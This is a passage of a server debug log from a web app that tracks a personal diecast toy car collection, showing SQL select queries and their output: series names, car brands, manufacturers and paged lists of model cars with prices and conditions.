    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:48:28.476Z server-connect:app Executing action step identify
2026-02-04T11:48:28.476Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:28.477Z server-connect:output identity: 1
2026-02-04T11:48:28.477Z server-connect:app Executing action step restrict
2026-02-04T11:48:28.477Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:28.477Z server-connect:output restrict: undefined
2026-02-04T11:48:28.477Z server-connect:app Executing action step paged
2026-02-04T11:48:28.477Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:48:28.478Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:48:28.479Z server-connect:output restrict: undefined
2026-02-04T11:48:28.479Z server-connect:app Executing action step select
2026-02-04T11:48:28.479Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:48:28.479Z server-connect:app Executing action step identify
2026-02-04T11:48:28.479Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:28.479Z server-connect:output identity: 1
2026-02-04T11:48:28.479Z server-connect:app Executing action step restrict
2026-02-04T11:48:28.479Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:28.480Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 }
]
2026-02-04T11:48:28.480Z server-connect:output restrict: undefined
2026-02-04T11:48:28.480Z server-connect:app Executing action step select
2026-02-04T11:48:28.480Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:48:28.482Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T11:48:28.482Z server-connect:app Executing action step select
2026-02-04T11:48:28.482Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:48:28.483Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 165,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T11:48:28.483Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T11:48:28.483Z server-connect:app Executing action step select
2026-02-04T11:48:28.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T11:48:28.484Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T11:48:34.017Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:48:34.018Z server-connect:app Executing action step identify
2026-02-04T11:48:34.018Z server-connect:app options: { provider: 'security' }
2026-02-04T11:48:34.018Z server-connect:output identity: 1
2026-02-04T11:48:34.018Z server-connect:app Executing action step restrict
2026-02-04T11:48:34.018Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:48:34.018Z server-connect:output restrict: undefined
2026-02-04T11:48:34.018Z server-connect:app Executing action step paged
2026-02-04T11:48:34.018Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T11:48:34.021Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 22,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 143,
      model_name: 'Pixel Shaker',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Ride-Ons',
      brand_id: 71,
      series_id: 178,
      case: 'M',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 107,
      model_name: 'Solar Reflex',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW EV',
      brand_id: 71,
      series_id: 107,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 104,
      model_name: 'Track Ripper',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Starting Grid',
      brand_id: 71,
      series_id: 163,
      case: 'A',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 103,
      model_name: "Kowloon'd Hypervan",
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Metro',
      brand_id: 71,
      series_id: 165,
      case: 'J',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 100,
      model_name: 'Decidedly Go',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-05T18:30:00.000Z',
      price: '179.00',
      brand: 'Hotwheels',
      series: 'HW Experimotors',
      brand_id: 71,
      series_id: 166,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 99,
      model_name: 'Polestar TRX',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '166.00',
      brand: 'Hotwheels',
      series: 'HW Peak Pursuit',
      brand_id: 71,
      series_id: 106,
      case: 'Q',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Uncarded',
      diecast_images: [Array]
